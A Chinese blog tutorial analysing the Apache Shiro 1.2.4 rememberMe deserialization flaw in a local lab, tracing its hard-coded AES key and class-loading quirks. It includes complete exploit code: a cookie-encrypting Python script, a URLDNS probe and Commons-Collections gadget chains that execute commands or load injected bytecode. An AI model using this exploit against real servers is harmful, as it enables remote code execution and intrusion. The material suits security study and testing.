shiro反序列化简单利用-1

标签：LazyMap HashMap TiedMapEntry 简单 import apache new 序列化 shiro

https://www.bilibili.com/video/BV1iF411b7bD?t=16.0

环境搭建

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml，将jstl的版本修改为1.2

流程分析

静态分析

尝试登录并抓包

username和Password都用上面提供的

发现响应头中有rememberMe
cookie里面保存了信息，很可能是序列化后的结果
然后找和cookie相关的代码：

找到CookieRememberMeManager类，里面有rememberSerializedIdentity方法，这个应该跟序列化有关
然后找到了getRememberedSerializedIdentity这个方法

其中进行了base64的加密解密：

发现getRememberedPrincipals调用了getRememberedSerializedIdentity方法

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

里面还调用了convertBytesToPrincipals方法，意思应该是将字节转换为认证信息

跟进convertBytesToPrincipals方法：

发现里面调用了decrypt方法
这里先解密再反序列化
跟进这个deserialize:

继续跟进：

继续跟进：

发现调用了原生的readObject进行反序列化
如果有CC的依赖就能打漏洞了。。。

再回去跟进decrypt方法：

继续跟进：

继续跟进：

发现是一个接口：

ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;

第一个参数为加密的数据，第二个为key
也就是说可能是对称加密，这是用key去解得

回去看这个key是什么
来到AbstractRememberMeManager这个类：

发现key为getDecryptionCipherKey() 的返回值
跟进getDecryptionCipherKey()：

发现返回常量decryptionCipherKey
跟进其定义：

接着看它是在哪儿赋值的：

发现是在setCipherKey里赋值的，那就跟进这个函数：

发现是在setCipherKey里调用的，再看看setCipherKey的用法：

发现是在AbstractRememberMeManager里面调用的
这时setCipherKey里面是常量，跟进他的定义：

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

好的，发现这个key为固定key，值为 kPH+bIxk5D2deZiIxcaaaA==的base64解码
而使用的算法是aes算法：

接下来的利用就是：
构造序列化数据+固定key加密+base64编码，放到rememberMe里面，服务端进行解码、解密和反序列化

URLDNS：

package org.apache.shiro.web.test;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://");
        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashMap.put(url,1);
        
        hashCodeField.set(url,-1);
        serialize(hashMap);
    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

exp.py：填充密钥key即可

import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s:s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext

def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16] # 向量，随便取的
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext

if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

运行后得到：

b'EbVh6+bvSPWHlztjVAH1eGjjpAVAHeq/0H+T8eFbUkSzYk1+iea6f1TNOewkxYGE2REEoWasKsRXwTLk+HvmduwlJ/hS1Ten/kiYquXhOtOg1t/Cx2A0mPPt3k7z35Ttxv7sdkBUNGwLeJ6u9Lz6PaNy8MjPfrhjkdDnfruSEiwlJSZQBQ77BmnuL/rlu0TonIGa0u/VmU2MAaJvmGYhilNctsDLZGWnoUOedtFk/iVeweh6d9TBCXrxMlwoNAzaGse3htNHOFOBPZNJavxmkVYKyZRsZMZg9wdr4G3AXHtfASdwViZYDvkZRBvAm8hxpTKLQsCk/1x8IkWA9nfACqEAiz5xQovdTkr98ZvRXc9w3al9lVaojzHE+k/jDhPCQSfC5Z9UVzTRGObUtCvPbe4YPN3rY5QLIRSnkVhNkEDKNX2bCzILSXx48jz/RQy1xL1gHQWi0OmaqU5wt0ICNKoDA4gfTMFFIYKfLdJiH8g='

由于系统在JSESSIONID存在的情况下不会检查rememberMe的值：

所以要将JSESSIONID删除
用生成的替换rememberMe的值：

重新换了个域名所以payload有变化

发现进行了DNS域名解析，证明攻击成功

动态分析

打断点：

发包到断点：

跟进到readObject：

然后在HashMap的readObject这里打断点：

顺利来到了HashMap的readObject方法里面：

然后反序列化这个HashMap即可

shiro下CC链的利用

在pom.xml里面加上这两个依赖：

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>9.0.45</version>
</dependency>

想要执行代码一般就要用CC链

用CC6打CC3的链：

package org.apache.shiro.web.test;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws  Exception{
//        System.out.println("hello world");
        // ChainedTransformer.transform -> InvokerTransformer.transform
        Transformer[] transformers= new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // LazyMap.get -> ChainedTransformer.transform
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        // 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步

        // TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        // HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
        lazyMap.remove("aaa");

        // 修改LazyMap中factory的值，预期它的值为chainedTransformer
        // 这里就是通过反射来控制factory的值为chainedTransformer
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

                serialize(map2);
//        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

然后替换ser.bin，并运行exp.py，得到：

b'JmroTs9RQDu2fRYowjYlrx2GPmGNnZoOkGWNMG2j8+srIJe6Rwiz+alDEJqjM7adPpitL5lcZ+FRV9R7nH9PA3U1d+PHpqoaAo5pMeX19VpPybkunhH7g+dOFW/Itt9/KtxmGCVtkR945I7+i5MdPhHiqYAav5f5/SNYPj5tdF2FUOv2SQdwZRDgb8e3qPxmXGkAAe7SPKCzyq673NsyNFJbuxANZ5CXWza/qsfsXKQ7v94nchGFRRmLTF1TiTdAFHH0Kw0myoiwbJ78Nb6y27c1LSBjg7ZfnHJtPPek0rzIu573h22cDasky1av+ewdVL7wr14mUQPC6k2Cj29T++yHHFGBcY0m4Yo3RHzgysjY/wl/peFi5yZLv0pevgphJ7VhW3bza/+5M6AVEUg6jRbz/uKTbeIRC7hJcy4TJAQDfO90Y7ws8sK2Eq2g9ZS/PkcdUJuut2qfzjhBXUlxjmux71xIiR/MiqasrTDrowhEHKGEKi5BAlUXeD5C99bJVSxd+7yjJM+3pJzOhFXQ+1ckinDd9s8tkipGMVMs3RYrQjXirKd18TIbsd2nAhxqmHNsscHk3TLSGjFaXrNer2rX/+m7DWLkABKmtxWDIIqgFCXBo/FgBXEZ46H7k2TgnbkycfF7uTAN5c51eRz6GP2CsgQJslUCEe2fUHpBvZWAmaelq+D68cjZZHlbKvuTGkZsXgE/Br+D5qUQrb/f1TcjpQJreRafDyeXro3LPvAXce+68gZN+46nbKc5Oqv1mkP23TBgZSLz3O/jbLrd6/Nrci3IDT9Qq54jfk8ANUPxzdo4BwOIHdnLdyC7nWTSyEzdN7wRCjnQvjPTrzU667zVZeo9DaS0guoWvil7FGymjBT7CZE5FCrKADC3zuuZR2YjxW2BmXp1v38j6Lwk/SVdWAJCmjhRpZOn4xvi328dNQt7YP5QBbpy5XtqQj87BOLfnHz6QbUWuebirxT2FrN1o4bzfHlhNbZ5tEVPncZlWaj3RhQV1n9oCUeuWe2Uo5dFnYRXRYlULMDsHG0Ejwr8hjVxUPZSNnGrgk/x+eI2AQdAIKf5z7oU01PFbwM2PHcMG0GFomw398oVMTSaDv7mLJyeRAecL1vd5kaxL/JpwCyqfbp6jomtXuTH5JQBfUAE8CjFTxByOX7MrhTb7Pp6bXiMcTJKxAmZn9K8jC8kky+LLzAcW+jdXgAQIxk33jj6AbLIleBT/Ag0qCpWAp++vjzwaeURXJGqsXx14FUmYR1SiIDbp2LTnzHwRRZNJs9pxqxKCaMkaG0woNe2H8wLw9SZk1ahmZ0T/Fy7Vuoi1Q14cdkd0wIHpiBuTVcWMALPuYO1gOknl3pFCQuv9/Z3kHamr5bdv+BBPm9wViscKYT95Pi3EJ1OMhTzvwY5jABAbRrQ6lNJmSgxMI5Q5ax3wGkKOLcA0J+qqy2C+gn4hMlWLMZ9jqJ3is636YxRCkTWcvqlIuWFme0gcIzcbfflsP7SbwuyLZVjvmzoqzbfz+XbIu2YcxphFKAWOnKv'

直接发包，得到报错信息：

2024-09-06 14:05:24,867 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context ClassLoader.  Trying the current ClassLoader...
2024-09-06 14:05:24,868 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader
  context: samples_web_war
  delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@134593bf

即不能加载Lorg.apache.commons.collections.Transformer 这个类
然后因为双亲委派会加载好几次，所以这里都加载不到，产生很多报错。
以下看为什么会报错
先来到反序列化的这里：

来到DefaultSerializer类的desearialize方法里面：

接下来看他的反序列化是如何实现的
之前说的是调用的readObject：

但是实际上并不是直接调用的原生的ObjectInputStream的readObject，实际上：

ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();

调用的是ClassResolvingObjectInputStream 这个类
这是shiro里面自定义的输入流
跟进这个类：

发现有两个方法，一个是构造方法，一个是resolveClass
而java原生反序列化是会调用这个resolveClass方法，如果重写的话，则会调到这个重写的方法
现在和原生(ObjectInputStream类)的resolveClass方法对比一下

protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName(); // 获取name
    try {
        return Class.forName(name, false, latestUserDefinedLoader()); // 类加载
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

而shiro自定义的：

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    try {
        return ClassUtils.forName(osc.getName());
    } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
    }
}

有个ClassUtils类

ClassUtils是一个工具类，提供了很多缓存数据和初始化内容的方法

跟进ClassUtils的forName：

线程的上下文类加载器--->当前的类加载器--->系统/应用类加载器
即加载三次
继续分析为什么加载不到

简单来说：

ClassUtils类的forName方法里面的ClassLoader的loadClass是加载不到数组类的
而原生的ObjectInputStream类的resolve方法里面的Class.forName是可以加载数组类的

即如果想要打这条链，即让链中没有数组类即可
出口有两处：

一个是Runtime.exec，一个是defineClass->newInstance
而如果选择Runtime.exec的话，则势必要使用InvokerTransformer循环递归：

而当InvokerTransformer加上TemplatesImpl类时就不会出现数组类：

接下来使用CC2、CC3、CC6的半部分
为什么要用CC6呢？
因为CC6可以用HashMap

之前一直想用Transformer这个数组类的原因就是为了控制最后到目标点的结果
即

new ConstantTransformer(Runtime.class)

CC6可以控制出路，如果传到HashMap的key里面，最后这个东西是一直传进去的，不用ConstantTransformer

接下来做演示：
接下来的部分：

先直接拷贝CC3部分代码：

TemplatesImpl templates = new TemplatesImpl();
//        templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

CC2的部分代码：

// newTransformer是TemplatesImpl类里的一个方法，调用newTransformer的目的是动态加载类，然后执行代码
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

CC6的部分代码：

// LazyMap.get -> ChainedTransformer.transform
HashMap<Object,Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
// 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步

// TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
/*
将aaa改为templates
 */

// HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
lazyMap.remove(templates);
/*
将aaa 改为 templates
 */
// 修改LazyMap中factory的值，预期它的值为chainedTransformer
// 这里就是通过反射来控制factory的值为chainedTransformer
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
/*
将ainedTransformer改为invokerTransformer
 */

serialize(map2);
//        unserialize("ser.bin");

完整：

package org.apache.shiro.web.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC_shiro {
    public static void main(String[] args) throws  Exception{
        // CC3
        TemplatesImpl templates = new TemplatesImpl();
        //        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        // CC2
        // newTransformer是TemplatesImpl类里的一个方法，调用newTransformer的目的是动态加载类，然后执行代码
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        // cc6
        // LazyMap.get -> ChainedTransformer.transform
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        // 使得在map2.put的时候无法实现LazyMap.get -> ChainedTransformer.transform这一步

        // TiedMapEntry.hashcode -> TiedMapEntry.getValue -> LazyMap.get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        /*
        将aaa改为templates
         */

        // HashMap.readObject -> HashMap.hash -> TiedMapEntry.hashcode
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb"); // TiedMapEntry.hashcode
        lazyMap.remove(templates);
        /*
        将aaa 改为 templates
         */
        // 修改LazyMap中factory的值，预期它的值为chainedTransformer
        // 这里就是通过反射来控制factory的值为chainedTransformer
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);
        /*
        将ainedTransformer改为invokerTransformer
         */

        serialize(map2);
//        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

同样的，运行生成ser.bin文件，替换ser.bin，运行exp.py

标签：LazyMap,HashMap,TiedMapEntry,简单,import,apache,new,序列化,shiro
From： https://www.cnblogs.com/starme/p/18469492